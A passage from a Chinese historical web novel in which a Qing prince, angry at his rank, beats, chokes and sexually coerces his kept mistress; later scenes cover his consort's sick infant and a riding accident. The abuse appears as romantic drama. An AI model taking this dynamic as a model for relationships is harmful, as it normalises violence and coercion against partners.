两个多月过去,皇阿玛册封的圣旨下来,谁都没有被册封为亲王,但胤禛怎么也没想到自己竟然被封为贝勒,胤褆跟胤祉被封为郡王,唯独到他就被封为贝勒。
他竟然还比不上胤褆跟胤祉,郡王跟贝勒差得远了,他往后见到胤褆恐怕都要行礼,他不明白皇阿玛为何只封他为贝勒,明明这两年他对皇阿玛交代下来的差事也认真完成,没出过什么差错。
他很是失望,失望中还夹杂着一点愤怒,对皇阿玛,甚至也迁怒德妃,明明是他的生母,却什么都不愿意帮他。
福晋诞下一子都不能冲淡他的失望跟愤怒,册封结束后,他听到别人叫他四贝勒,他都觉得别人在嘲笑他。
贝勒,他跟底下那几个弟弟一样是贝勒,并无不同,他还不能将失望跟愤怒展露出来,还得感谢皇阿玛,对皇阿玛千恩万谢,还得对着别人笑。
胤禛知道自己其实笑不出来,他内心的怒火已经快要溢出来,福晋沉浸在生子的喜悦后,福晋多年不孕,好不容易生下孩子,还是阿哥,她的欢喜溢于言表,这阵子在坐月子,她让他过去看看他的孩子,说孩子多可爱,这个孩子也是他的嫡长子,他也只是敷衍看几眼,实在没有心情,哪怕是对着福晋,他的妻子,他也不能将他的真实情绪表露出来,也没人察觉到他真实的情绪,他所有情绪得压抑着。
他选择出宫。
第56章第56章更新
第56章
胤禛来到宅子时不见乌锦的身影,一问才知道她又去她铺子那边了,想到自己花每个月花上百两养着乌锦,她还不老老实实待在宅子里等他过来,他这气就更盛了,阴着脸让人去叫乌锦回来。
他坐在房间内等,越等越不耐烦,越等脸色越沉。
乌锦被叫回来时见到四阿哥身边的奴才苏培盛等人都候在房间外,难得苏培盛对着她微微摇摇头,算是给她一个提示,四阿哥此时恐怕处在极度不悦中。
她进去房间内时,里头静悄悄的,她见到四阿哥坐在铺炕上,书也不看,茶也不喝,就静静坐在那,周身仿佛被寒意笼罩,散发着冰冷的气息。
乌锦觉得自己今日难逃一劫,只能硬着头皮上前,跪下给他行礼:“给爷请安,主子爷万福。”
胤禛终于见到人,抬脚就是狠狠一踹。
乌锦被踹倒在地,知道这人又在发疯了,她算是明白了,这人心情不好的时候就想虐待别人,他通过打人来发泄心中怒火,宫里那些主子身份尊贵,性命宝贵,只有她身微命
贱,人微言轻,死不足惜,所以他可以肆意轻贱虐待她。
这一脚踹得是真的用力,她顿时觉得自己先前的内伤又在裂开了,传来剧痛,她咬了咬唇忍耐。
“过来!”
乌锦抬头看他一眼,虽然他眉眼英挺,此时的四阿哥一张脸冷若冰霜,整个人十分冷漠肃然,这个时候最好不要忤逆他,她只能忍着疼又挪过去,她下巴被抬起,不得已跟他对视。
“我跟你说过什么?你知道我等了多久?”
先前他一直让她好好待在宅子里等他过来,乌锦不想,自己找事做,但她知道真正令他生气的肯定不是这个,肯定是别的,她是被迁怒,乌锦只能道歉,希望他的怒火得以平息:“是奴婢错了,奴婢罪该万死,还请主子爷饶奴婢一回。”
“饶你?为何要饶你,你把我的话当耳边风,我总得让你记住教训!”
扬手就是一记狠狠的耳光,乌锦被扇得偏头,发髻变得凌乱,她低头垂眸,眼底闪过一抹恨意,抬头时已经敛去自己的情绪,平静说道:“奴婢谢主子爷教训,奴婢以后不会再让主子爷等,是奴婢的错,还请主子爷消气。”
胤禛哪那么容易消气,他抓起乌锦,拽到床上去,他狠狠地剥去她身上所有衣物,欺身上来。
乌锦没有反抗,她被他咬伤的时候,她也没有喊疼,全程不说一句话,不吭一声,不知过了多久,这人终于发泄完了,而她自己浑身都痛,全身青青紫紫,有不少被咬破的伤口。
事后,胤禛见乌锦十分平静,但又一身伤口,他这会才有点不忍,说道:“你想哭就哭吧。”
乌锦在心中冷笑,她为何要哭,哭又能解决什么,她看向四阿哥,淡淡地问了一句:“爷,你消气了吗?不消气的话,爷还可以再打奴婢,奴婢皮糙肉厚,扛得起打,奴婢只愿主子爷能消气。”
胤禛知道她这是在说反话,在阴阳怪气,他也不觉得自己有错,他当初让她当外室不就是为了这个,他此时的确没有那么生气,他本身也不是气她,她是被迁怒的。
“我让谢嬷嬷给你上药。”
乌锦闭上眼睛,不想再看他。
胤禛叫来谢嬷嬷,原本想让谢嬷嬷给她上药的,最后他自己接过药瓶,自己给她抹药,只是见乌锦不愿看他的样子,他又不由说道:“睁开眼!”
乌锦睁眼看他,他以为他给她擦药,打一巴掌再给个甜枣,她就会感谢他,不过是猫哭耗子,她是真的恨不得他立刻去死,恨不得咬开他的血管吸尽他的血。
“这药膏见效很快,三五天就能好。”
“谢主子爷的良药,奴婢感激不尽。”
胤禛知道乌锦在生气,他到底是先伤了她,对她此时的阴阳怪气,他也没说什么,继续给她擦药,还让谢嬷嬷去把周太医请过来。
“不用请太医,奴婢没事,只是一些皮肉伤,既然这药三五天就能好,请太医是多此一举,让我睡一会就好,嬷嬷,你把避子汤给我端过来。”
一旁的谢嬷嬷不知道该听谁的,她看一眼四阿哥,见四阿哥点头后,她才出去,把熬好的避子汤端过来。
乌锦喝完避子汤后就再次闭上眼睛,她只想睡过去,睡过去疼痛就减少许多,还有就是她怕她眼里的情绪被发现。
胤禛这次看着她入睡,他发泄够了,情绪也平稳下来,他跟着躺在乌锦身旁,也睡了过去。
过了一个多时辰,乌锦先醒,见到旁边有人,心里的厌恶顿时溢出来,这人就是这样,他生气愤怒时翻脸不认人,不生气的时候他可以跟你柔情蜜意,妥妥的疯子一个,阴晴不定的人。
她捂着自己泛疼的胸口,挣扎着起身,这一翻动就吵醒身旁的人,她就干脆继续躺着,看一眼床边,外面好像天黑了。
“几时了?”
“奴婢也不知道。”
胤禛连着好几日没睡好,就因为封贝勒的事,本来只是想小睡一会,没想到睡这么沉,他起来时发现外面天黑了,于是叫来谢嬷嬷给他穿衣。
等他穿好衣服后回头看乌锦还躺着,一副不喜不悲的样子,他几欲动唇,最后还是什么都没说,直接离开。
“为何不早点叫醒我?”
走出房间时,胤禛质问苏培盛一句,天黑后回宫少不得被注意。
苏培盛有苦难言,他知道四阿哥自从被封为贝勒后,情绪一直不好,他近身伺候四阿哥,怎么可能没察觉到四阿哥的情绪,尽管四阿哥掩饰得很好,正因为他知道四阿哥情绪不好,他才不敢妄自叫醒四阿哥,就怕被中途叫醒的四阿哥情绪更加不对。
“奴才知错。”
“回宫。”
苏培盛松一口气,忙让人启程回宫。
……
乌喇那拉氏见四阿哥天黑后还没回宫,她让人问前院的奴才几句,问四阿哥去了哪里,那些奴才虽然没说,但她猜到四阿哥应该是去乌氏那里。
到了戌时正,宫门应该落锁了,四阿哥先前都不会这么晚归,可见乌氏这女人还是很有本事,勾得四阿哥流连忘返。
乌喇那拉氏一月初生了阿哥,本以为是很高兴的事,但她却感觉不到四阿哥的喜悦,四阿哥对孩子淡淡的,名字也还没起,不过孩子的名字可能要问过皇上才行,虽说四阿哥是孩子的阿玛,但名字这事不是他能完全做主的。
她在等四阿哥的时候听到孩子在哭,她就过去孩子的房间,她的小阿哥果真在哭,一位奶娘正抱着孩子在哄,试图给孩子喂奶。
“怎么哭了?”她问奶娘。
“回福晋,小阿哥刚醒,应是饿了。”
乌喇那拉氏见她的孩子喝到奶后就渐渐平静下来,她的孩子足月生的,已经满月了,看着康健,不过小孩子哪怕是足月生的,也不能掉以轻心,不管四阿哥高不高兴,她的孩子都是四阿哥的嫡长子,哪怕四阿哥的心在乌氏那,她也不该太过忧虑。
这么一想,乌喇那拉氏的心就变得平和许多。
四阿哥是戌时两刻才回来的,他是阿哥,哪怕宫门落锁,守宫门的那些人也不会不放他进来,四阿哥是直接回他的前院。
乌喇那拉氏只让膳房的人备好晚膳,若是四阿哥需要,让人给四阿哥送过去,她没有过问四阿哥去了哪里。
虽说四阿哥只是被封为贝勒,乌喇那拉氏不觉得有什么不对,反正四阿哥最后肯定会被封为亲王,只是时日早晚的问题,这是皇上的旨意,他们这些人也左右不了,只能接受。
她叮嘱奶娘们照顾好小阿哥,夜里别打盹睡过去,一定要有人时时刻刻盯着小阿哥。
四阿哥前院那边有一帮奴才,无需她特别叮嘱。
到了亥时,阿哥所这边就彻底静下来。
翌日一早,乌喇那拉氏坐在梳妆台前,两位宫女站在身后给她梳妆打扮,见她们要把八宝簪子给她戴上,她摆摆手说道:“不用戴这个,我要抱小阿哥,小阿哥见到这些就伸手抓的。”
最后乌喇那拉氏不戴簪子,只是绾了一个漂亮的髻子,她梳妆好后问一句前院的动静,晓得四阿哥已经醒了之后,她才点点头。
乌喇那拉氏先过去看孩子,在她看孩子的时候,四阿哥过来她这,也来看孩子,她顿时大喜,连忙把孩子凑过去给四阿哥看。
“爷,你看他,已经会笑了,这小腿蹬得可有劲了。”
胤禛的心情已经平静,再看他的孩子才有几分开心,毕竟是他的长子,他伸手摸了摸孩子的脸颊,说道:“瞧着不胖,还是胖些好。”
乌喇
那拉氏笑着说:“是,小孩子还是胖乎乎的好,不过他才两个月,还需慢慢长,我让奶娘别饿着他,多吃奶才能长大。”
“也别吃太多,小心积食。”
乌喇那拉氏见四阿哥开始跟她聊起小孩子的日常,关心起孩子,不似上个月对孩子的冷淡,她不由多看四阿哥几眼,她顺着四阿哥说道:“爷说得对,我会叮嘱奶娘的。”
孩子突然放声大哭,乌喇那拉氏让奶娘抱走,她问四阿哥要不要在她这里用早膳,见四阿哥点头后,她又忙着张罗早膳。
四阿哥对孩子上心可是喜事,一早上乌喇那拉氏脸上都洋溢着笑意,四阿哥用完早膳后准备出宫时,她也没说什么,她知道四阿哥估计又去乌氏那。
胤禛的确去乌锦那里,他到的时候,乌锦一脸诧异,诧异中还夹杂着一丝不悦,他问她伤口好了些嘛,乌锦说不疼了,言简意赅,一副不想跟他多说的样子。
“给我看看,若是真的不舒服的话,可以让周太医过来。”
“奴婢真的已经没有大碍,爷不用担心。”
胤禛心想他是担心她嘛,不担心她的话为何要过来这边,被说中的他露出一分尴尬,他看向乌锦,此时的她低垂着头,不知在想什么。
“你恨我吗?”
“奴婢怎会恨主子爷,奴婢感激主子爷都来不及,奴婢能有今日,全是拜主子爷所赐,没有主子爷,奴婢怎会过上锦衣玉食的日子。”
胤禛也不知她说的是真心话还是假话,他示意她过来,他把她抱到腿上坐着,轻声道:“你知道就好。”
乌锦也回搂他,倚在他身上,温柔地注视着他:“奴婢一直都知道,主子爷对奴婢的好,奴婢一直都谨记在心,只可惜今日奴婢伤了,不能伺候主子爷。”
“没让你伺候,你先好好养伤。”
乌锦嗯了一声,她头埋在四阿哥怀里。
过了一会,胤禛觉得他腿麻了,不过见乌锦小鸟依人一样倚着他,他也不好让她起来,只能继续撑着。
好在谢嬷嬷把切好的新鲜瓜果送进来,乌锦为了吃水果才从他腿上下来。
“好吃吗?”
“挺好吃的。”乌锦继续吃,吃得差不多后又回床上躺着。
胤禛想说些什么,见她已经躺下,也只能把话吞回去,屋内静默,他也不知道该做什么,他意识到以前好像是乌锦主动跟他说话居多,她找话跟他说,但显然乌锦现在不想跟他说话。
他莫名有点生气,也不知道气从何来。
乌锦身上的伤疼了一夜,她一夜没睡好,她跟他虚与委蛇一会后就懒得再搭理他,她睡了过去,再次醒来时,人已经走了,她才觉得心情好多了,谁愿意跟自己的仇人独处一室,睁眼闭眼都见到他。
她可没有那么大度,他伤她伤成这样,对她又扇又踹,拿她出气发泄,她还能跟他说一两句已经是她忍耐的结果,她此时还动不了他,又不能跟他大吵大闹,只能暂时忍了,她杀他的心越来越强烈。
连着几天,他白天都过来她这边,乌锦假意跟他周旋,对他露出笑脸,她身上的伤口也淡下去一点,他这几日虽然没碰她,但她不觉得他这是在怜惜她,他这人也很擅长伪装。
胤禛也不知道自己为何这几日天天过来,他心里很清楚乌锦没有面上对他那么温柔和善,说不定心里在恨他,有时候她会露出一点破绽,她不再找话跟他聊天,有时候他跟她说话,她会忍不住露出不耐烦的样子,说到底她骨子里是刚烈倨傲的,她只是暂时忍耐。
胤禛没想到两年过去,乌锦还是这样,他就越想越生气,她不过是一卑贱的外室,他怜惜她做什么,她不识好歹,就该狠狠教训她,让她记住教训,她在他面前阳奉阴违,给他添堵,他养外室可不是为了给自己添堵的,她怎么敢给他脸色看,他想打她就打她,她就该乖乖地承受,而不是在心里怨恨他责怪他。
于是胤禛再次过来时,没有前几日的温和怜悯,上下扫她一眼,问她的伤是不是都好了。
“好得差不多了,只剩下一点淤青。”
“既然都好了,那今日可以伺候了,给我脱衣。”
“好的,主子爷。”
胤禛看着乌锦上前给他脱衣,脸上看上去毫无怨言,他戏谑地看着她,眼神冰冷森然,一个外室而已,他折辱她又如何。
“乌锦,别以为我不知道你心里在想什么。”
“奴婢听不懂主子爷在说什么,奴婢心里只想着主子爷,盼着主子爷过来。”
“呵……”胤禛轻嗤一声,嘴角充满讽刺,“是这样吗?你当真是想着我,盼着我过来?”
“千真万确。”
这女人说谎的本领可真是了得,面不改色的,胤禛脸色越发冷凝,抓着她的手腕,逼她跟他对视:“好一个千真万确,乌锦,你这是想把我当傻子。”
“奴婢没有。”
胤禛阴沉的脸上扬起笑容,语气又突然变得温柔起来:“没有?好一个没有,既然没有,今日你就好好伺候我,若是伺候得不好,你知道后果的。”
胤禛慵懒地坐在铺炕上,半眯着眼睛看乌锦动作。
乌锦又不是第一次,脸上没什么羞怯,他让她伺候,她伺候就是,她主动吻他,一路往下,过一会儿主动坐到他身上,他不动,她自己动。
胤禛见到她胸口的淤青,那是他踹出来的,他眼神隐了隐,目光落在她身上,她这幅样子哪里是情动的样子,分明是去上坟的样子,一脸不哭不笑的,冷静得很。
“给我笑。”
乌锦知道这人又抽疯了,他这是装了几日就装不下去了,他让她笑,她就笑,她露出笑容,笑意盈盈地看着他。
“笑得太难看了,不准笑!”
乌锦就收起笑容。
“哭,现在就给我哭!”
“哭不出来,奴婢见到主子爷只有高兴,见到主子爷太开心了,哭不出来。”
胤禛见她说着违心的话,对她更加不满:“哭不出来也得哭,今日哭不出来的话,我就打断你的腿。”
乌锦这才露出原本的样子,冷冷地看着他:“我看你也别绕弯了,直接打断我的腿吧,反正你伤我也不是第一回了。”
“不装了?”
“不装了,你直接打断我的腿吧,最好是我的双手双腿都打断,我的命反正不值钱,你直接砍我的头好了,省得我受那么多折磨,你是主子,是阿哥,我的生死都在你手上,由不得我自己,贱命一条,你拿去好了。”
胤禛反而喜欢乌锦这样跟他说话,她虚情假意的样子让他看了不爽,他轻笑出声:“放心吧,你这条贱命还有用处,暂时要留着。”
“留着干什么?我看你挺想取我性命的,不如让我去死好了,反正你可以再养一个外室,一个不够,可以养十个百个千个,以四阿哥的身份,应该不成问题,不对,四阿哥如今不是阿哥了,应该是贝勒爷了。”
胤禛眼神锐利地射向她,她消息倒是灵通,两耳闻窗外事,贝勒二字让他怒火又上来一点,他掐着乌锦的脖子,问她是不是想找死。
乌锦见他突然生气,顿时明白他前几日为何会发疯,原来是不满自己只被封为贝勒,毕竟大阿哥跟三阿哥被封为郡王,郡王在贝勒之上,同是皇子,又年纪相仿,偏偏这一册封,他就要屈于人下,他哪里能忍,只是这是皇上的旨意,他不敢向皇上表达不满,只能把气撒到她身上。
知道症结所在后,乌锦就故意刺激他:“贝勒爷,你可是尊贵的贝勒爷,你想杀一个人何其容易,你也不用问我了,直接掐死我吧,贝勒爷,你说是不是?”
胤禛力道收紧。
乌锦张口直接咬他的手,死之前,她怎么着也得给他弄点伤口,不然就这样白白死了,当然,他越这样说越不会杀她,真要杀她的时候,他估计不会多话。
乌锦想到前几日自己被
踹的那一脚,还有被扇脸时的疼痛,她咬得很用力,势要把他的一块肉咬下来。
“松口!乌锦,信不信我杀了你。”
“原来你知道痛啊,你打我的时候怎么就没想过我也会痛,我咬死你,让你看看被咬全身伤是什么滋味,大不了我事后给你涂药。”
乌锦化身咬人的狗,正好他衣服都被她脱了,咬着很方便,她四处咬,试图在他身上留下咬伤。
胤禛试图掰开她的嘴,结果她又咬他的手,最后他翻身把她压在铺炕上,她脸朝下,他桎梏着她,整个人压住她的后背,不让她动弹。
“再闹,我就把你丢出去!”
“是谁把气撒在无辜的人身上,又不是我封你被贝勒的,你为何要气撒在我身上,有本事你去跟皇上发脾气。”
胤禛一怔,没想到乌锦会猜出他是因为被封贝勒的事而生气,福晋都没看出来他生气,他把人翻过来,又低头去亲她,这次换成舌头被咬。
“乌锦!”
“贝勒爷,你喊我名字也没用,除非你让我扇一巴掌,让我解气,不然我会一直生你的气,你迁怒于我,伤我那么重,不能就这么轻易地过去。”
“你只是外室,我想伤你就伤你!”
乌锦直接脑袋一挺,用脑袋狠狠撞他的脑袋。
胤禛被撞得眼前一黑,没想到她是真的敢,他忍不住叫乌锦的名字,恶狠狠地看向她。
乌锦抬手又是一巴掌,在她想扇第二巴掌时,胤禛抓住她的手反到身后,冷声道:“别以为我不敢杀你!你这是在找死!”
乌锦这人识时务,见他真的要动怒,她说道:“好了,我扇回来了,也咬回来了,我不会再生你的气,你也不该跟我生气,我们扯平了。”
她小心觑着他的脸色,她知道自己不能一直跟他僵着,总得有个由头让这事过去,他是主子,她是奴才,他们一家人的命被他紧紧拿捏着,她不可能真的跟他闹翻,只是不出口气,她又实在过不去这一关。
她恨他,但又不能真的把恨意完全摆到明面上,戏还是要演下去。
“贝勒爷,是你有错在先,你不能怪我,你想想你有多过分,我身上还有淤青,那天我疼了一晚上,我不过是轻咬你几下而已,你又是男子,你的力道比我大多了,我也没有踹你,是我吃亏,不是你吃亏。”
胤禛想着要不是她还有用处,她肯定活不过明日,她怎么能跟他比,她还想以牙还牙,她就是一卑贱的外室,他打她伤她,她不该有怨言才是!她还这般自矜高贵,他就该狠狠折断她的傲骨!
但最后胤禛还是什么都没说,也没有继续教训她,跟她掰扯奴才该是什么样的,只是低头狠狠吻她。
第57章第57章更新
第57章
四阿哥又在快天黑时才回来,乌喇那拉氏让人过去问四阿哥要不要在她这里用晚膳,得到的回复是不用,这几日四阿哥天天出宫,连大福晋她们都过来问她四阿哥为何天天出宫,去了哪里。
乌喇那拉氏只能以她不知道糊弄过去,她的确不知道,四阿哥一向不喜欢别人管他的事,她身为福晋,也不敢多问,尤其是四阿哥上一次还警告过她。
乌喇那拉氏在晚膳摆上来前又去看一眼孩子,两个多月大的孩子除了吃就是睡,能吃能睡是好事,她慈爱地看着熟睡中的孩子,四阿哥去哪里不重要,只要她的孩子平平安安地长大更重要。
过一会儿,晚膳摆上来,乌喇那拉氏才离开孩子的房间,她问一句李氏那边怎么样。
崔嬷嬷说李氏那边没什么异样。
李氏怀孕也快七个月了,李氏先前生过一胎,大格格便是李氏所生,这是李氏的第二胎,她平日里跟李氏的关系还行,身为福晋,她对后院的女人既要管理也要照拂,无论是她还是四阿哥都希望后院和睦,她已经生下大阿哥了,李氏这一胎若生的是阿哥,她也不会介意,乌喇那拉氏想着明日过去看看李氏。
翌日一早,乌喇那拉氏就先问昨晚四阿哥有没有到谁那里过夜,崔嬷嬷摇摇头说四阿哥昨晚在前院那边一人歇下,并未召人侍寝。
乌喇那拉氏嗯了一声,用过早膳后,她便带着人过去李氏那,李氏如今的肚子高高隆起,第二胎比第一胎更显肚,见李氏起身要迎她,她连忙摆手:“坐着坐着,别站起来,你这身子还站起来干什么,不必拘礼。”
李氏这才继续坐着,笑道:“我这身子是越发笨重了,走路都得人搀着。”
“再过两个月生下来就好了,得搀着,小心点总归没错,怎么样,这几日有没有不舒服?”
李氏叹口气说夜里腰酸睡不着,这几日吃什么都没有食欲。
“孕后期就是这样,我生之前的两个月也是常常睡不着,总觉得腰酸背痛,这肚子坠得很,生出来就没事了,再忍忍,奶娘找好了吗?”
李氏说已经找好了,再过一个月就让她们进宫。
乌喇那拉氏点点头,摸了摸李氏的肚子,四阿哥子嗣稀少,如今只有大格格跟大阿哥,先前宋氏也生下一女,只是不到一个月就夭折了,几个成年的阿哥里就属四阿哥子嗣最少,子嗣少了也不行,别人会认为她这个福晋没当好,善妒无能才导致四阿哥膝下子嗣稀少。
“福晋,主子爷这几日天天出宫做什么?”
乌喇那拉氏抬眼看一眼问话的李氏,对着李氏,她难得表露出一点情绪:“还能去哪,估计是去乌氏那了吧。”
“主子爷为何不把人接进宫?”
“宫里哪有宫外自由。”
在宫里的一举一动都可能传到皇上那,备受拘束,真把人接进宫就跟后院那些格格一样了,乌喇那拉氏又安抚道:“你别想那么多,好好把孩子生下来才是正事,四阿哥那边,我们也做不了主。”
“嗯,我晓得了。”
乌喇那拉氏从李氏房中出来后又过去孩子的房间,孩子正在哭,她看着奶娘哄孩子,不知为何,孩子哄不住,哭个不停,喂奶也不吃。
“这是怎么了?是不是尿了?”
奶娘说刚换的尿布,乌喇那拉氏看孩子哭到整张脸涨红,她心疼不已,立即让人拿着她的牌子去请太医。
小方脉科的范太医过来,看诊过后说孩子是发烧了,范太医开了孩子能吃的退烧药方,让她们注意给孩子排热。
等范太医离开,乌喇那拉氏忍不住质问那些照顾小阿哥的奴才,包括奶娘,昨日小阿哥还好好的,今日就发烧,定是他们夜里没看顾好,害得小阿哥着凉。
乌喇那拉氏气得罚四个奶娘一个月的月俸,说再有下次,她就将她们通通拉下去杖责。
两个月大的孩子生病发烧可不是小事,多少孩子就是这样夭折的,乌喇那拉氏也没空管四阿哥去了哪里,她只想守在孩子身边。
过了一日,许是四阿哥也听说孩子发烧的事,过来看孩子,问孩子的情况,乌喇那拉氏如实说了。
“每日请太医过来看一次,务必要让他退烧。”
乌喇那拉氏见四阿哥这么紧张孩子,她的心稍微热了热,顿时有些哽咽回道:“爷,我会让范太医每日过来的,三月换季,小孩子十分容易感染风寒,发烧感冒,你别太担心,我们的孩子肯定能好起来的。”
“我去请示皇阿玛了,皇阿玛让钦天监那边拟了一个名字,叫弘晖,以后就叫他弘晖吧。”
乌喇那拉氏诧异地看着四阿哥,四阿哥什么时候请示的皇上,她都不知道,她还以为过上半年,孩子才会有名字,看来四阿哥是真的在乎他们的孩子,有把孩子放在心上,毕竟是四阿哥的长子。
“弘晖好,日月晖光,万物生光晖,这是极好的名字,我很喜欢。”乌喇那拉氏感动道,她一听弘晖这两个字就很喜欢,日后她的孩子就有名字了,她看四阿哥伸手抚摸弘晖的脸颊,她突然瞥到四阿哥手背上的印记,这很明显是牙印,是人用力咬出来的,因
为咬得重,咬破皮留下的伤口。
没人敢这么咬四阿哥,至少后院那些女人不敢,她也不会这样咬四阿哥,咬在手背上其实也有点亲昵。
乌喇那拉氏就意识到肯定是宫外的那个乌氏咬的,她已经不止一次在四阿哥身上发现这种印记,有一次她发现过四阿哥后背的指甲抓痕。
“好好照顾弘晖,我明日再过来看他。”
乌喇那拉氏连忙收回思绪,笑着应道:“我会照顾好弘晖的,主子爷请放心。”
四阿哥走出去后,乌喇那拉氏不由地攥紧手中的帕子,乌氏虽然没进宫,但她觉得她比后院那些女人更具威胁。
好在弘晖在三日后慢慢退烧了,乌喇那拉氏的心放了放,也让人给四阿哥传话,说弘晖退烧了,四阿哥又过来看弘晖一次。
四月初,四阿哥领了户部的差事,许是新官上任,四阿哥变得十分忙碌,开始早出晚归。
乌喇那拉氏心思在弘晖身上,四阿哥在前朝的差事,她也帮不上忙,插不上手,她就没管了,反正四阿哥自己应付得过来。
……
胤禛自从领了户部的差事后,的确变忙许多,跟户部那些官员接触得多了,有些官员许是为了讨好他,暗示说他们让某些人领了旗缺,而那些人均是乌锦的亲戚。
胤禛觉得乌锦身边的那些亲戚肯定是借着他的名义在敛官,乌锦说不定也知情,说不定是她私下授意的,人心总是贪婪的,乌锦也不例外。
他没有过去质问她,也没有阻拦那些官员给乌锦的亲戚好处,只当做不知,随他们去。
他过去找乌锦的时候,乌锦反倒先问他这事。
乌锦不问不行啊,她听说她的那些表弟表哥都领了旗缺,他们给她额娘送礼感谢,但乌锦知道她什么都没做,压根没跟四阿哥提起这事,可她没提起过,这事也解决了,她自己都不知道是怎么回事。
“爷,是不是你私下让人办的?”
“是有人想巴结我。”
乌锦挑眉,那些人这是通过她这边来巴结四阿哥,她只是外室而已,更何况这种方式未免太曲折婉转了,四阿哥会吃这一套?
“四阿哥,我跟我那些远房表哥表弟并不熟悉,没见过几次,他们要是犯错,别怪到我头上。”
乌锦先撇清关系,免得被牵连。
胤禛眯着眼睛看她,寻思着她这是假装不知情还是真的不知情?
“他们若是有本事,稳稳当当地当好差事,提拔他们也不是不可,你难道不想看到你们乌家家族势力变得庞大吗?”
“我只知道树大招风,我们乌家没几个人,长辈中除了我阿玛就剩下我姑母,那些人可不是乌家人,反正你不能把他们做的事算到我这边。”
胤禛盯着她,最后还是嗯了一声。
乌锦主动亲他,他没有拒绝。
自从上次她又是咬他又是扇他,跟他大闹一次报复他先前迁怒的行为后,她又恢复到原来的样子,该说话的时候说话,不会故意冷着他,话没主动说几句。
事后,胤禛垂眸看她,她脸上的潮红还没褪去,看上去很是乖巧。
“爷为何盯着我看。”
“我是在想你心里在想什么,是不是暗自诅咒我?”
“为何要诅咒你?你待我好,我就不会诅咒你。”
“我待你好吗?”
“挺好的,跟着主子爷吃香喝辣,顿顿吃肉,哪里不好,我是三生有幸才碰到主子爷。”
胤禛分不清她是说谎还是真心实意这么认为,估计是在说谎,这女人狼心狗肺,才不会记他的好,好在她逃不了,逃不了的女人再恨他,他也无惧。
“你最好真的是这么想。”
乌锦趴在他身上,不愿意再搭理他,她说的他又不信,她说那么多做什么,会伺候他就是,把他伺候好了,他开心了,她的日子就会好过。
“想不想去骑马?”
乌锦抬头看他,怎么话锋转到这了,如今是四月份了,天不冷不热的,正是最适合骑马的日子,她满眼期冀问道:“爷要带我去骑马吗?我只学了一次,哪怕先前学会了,这会恐怕也生疏了,不过爷要是愿意带我,我恭敬不如从命。”
胤禛看她明明就很想去的样子,嘴上却说恭敬不如从命,他故意逗她:“那就算了,你既然都生疏了,那就不用去了。”
“爷,你怎么能这样,逗我很好玩吗?我想去,我许久没出去过了,上次爷让我老实待在宅子里,我就再也没有出去过,连家都不回,我这么听你的话,你不该奖励我吗?”
胤禛也听说她这阵子都不出门,看来的确是学乖了,他低头亲她,说这就是他奖励她的,惹来一顿捶打,这次打得很轻,像是在撒娇,他不知为何笑了起来,跟她在一块就是轻松自在许多,不用想着别的事。
四月份的天气挺好的,带她出去骑马不失为一件乐事,他自从在户部当差后,忙了好一阵子,得歇一两天才行。
“后天带你去。”
“谢主子爷。”
胤禛又拉着她做了一次。
……
四月九日,胤禛带着乌锦出去骑马,他只让几个奴才跟几个随身侍卫跟着,没有像上次那样叫上雅尔江阿等人一同前去,等于是只有他跟乌锦两个人。
他们到城外的宽阔草地上,这里还有不少人正在踏春。
他给乌锦挑的马依旧是很温顺的,被驯服好的黑马,还没有成年,她这骑马的功夫显然还很稚嫩,不适合骑太高大的烈马。
乌锦骑上之后,整个人又洋溢着笑脸,轻风吹来,吹起她的发丝,她明明没有绝美的脸庞,他的目光却忍不住追逐她。
“爷,我要跑起来了。”
胤禛看着她慢慢骑着马跑起来,丝毫不怕摔下来。
乌锦是第二次骑马,和煦的阳光晒在身上令人惬意,她压抑的心情得以放松,她耳边只有呼呼的风声,仿佛世间只剩下她跟她骑着的马,她握着缰绳,越骑越快。
只是前面突然冒出来一只野鹿,马匹受惊,开始变得失控,越跑越快,快到她怎么勒它,它都不听使唤,一直往前奔跑。
后头的胤禛自然也见到乌锦的马失控了,他快马加鞭跟上去,教乌锦身子跟双手尽量压低贴着马腹,别被甩下来。
事实上没等乌锦有多动作时,失控的马突然一个回转,将她甩下去,摔下来的时候根本没来得及想那么多,完全没有思考的时间,就是猛的一下摔下来,左脚着地,她隐约听到咯吱一声,她人已经被甩到草地上,那匹马继续往前跑,很快不见身影。
还好是草地,要是更硬实的地面,她估计要被摔成重伤了。
胤禛勒马,直接从马背上跳下来,朝着乌锦奔过去。
乌锦左脚处传来钻心的疼痛,她眼泪一下子出来了,这算不算乐极生悲,她觉得她左脚肯定崴到扭到了。
她一抬头还见到四阿哥脸色阴沉,只听见他直接说下次不会让她再骑马。
乌锦顿时有些无语,她摔下来,他第一件事便是想着这事。
“哪伤着?”
胤禛将她上上下下打量一遍,她穿着衣物,也没法看到她伤在何处,只见她指了指左脚,他一看,她左脚脚踝处已经开始红肿,她眼中泛泪的样子让他一顿。
“你笨死算了,明明还不会骑,偏要骑那么快,这下好了,腿真的断了。”
“我都这样了,你还奚落我。”
胤禛也不知道自己怎么了,他见到乌锦被甩下来的那一瞬间,脑子一片空白,指责的话自然而然说出来,看着她忍着痛的样子,他将她抱起来。
“又骑马?”
“不骑马的话,难不成你想走回去?”
乌锦想想也是,这里离城内太远,他们在草地上又骑了好长一段距离,走过去或是他抱她回去肯定是行不通的,她被搀着上他的马,他跟着上来,贴在她身后。
那匹跑掉的黑马也不管了,他们一行人往回走。
乌锦的左脚一直传来痛意,
哪怕是四阿哥在身后贴着她,温热的气息喷在她脸上,她全部注意力也都在她的左脚上,疼得呼吸都加重了。
“很快就到了。”
他难得说一句算是安慰的话,乌锦觉得这事也不能怪他,他好意带她出来骑马,又是野鹿突然窜出来吓到她的马,他是一点错都没有,所以想骂他也没有立场。
他们到了外城后,重新雇一辆马车,她从马背上移到马车内,。
四阿哥此时神情严肃,像是谁欠了他几千两似的,明明受伤的是她,他摆着一张臭脸给谁看,乌锦腹诽,她也疼得不想说话,整个人平躺着,她受伤的左脚直接横放在他的腿上,避免颠簸。
等到了宅子前,他将她抱下来。
苏培盛等人去请大夫。
谢嬷嬷她们见到她受伤时也吓一跳,出去时还好好的,怎么回来的时候就受伤了,她们目光忍不住移向四阿哥,听乌姑娘说她从马背上摔下来时,她们才松一口气,也不怪她们,她们以为又是四阿哥伤的人,毕竟四阿哥有“前科”。
苏培盛等人直接请了两位大夫过来,两位大夫说她左脚可能骨折了,伤筋动骨一百天,她可能需要休养三个月,这三个月左脚不能用力。
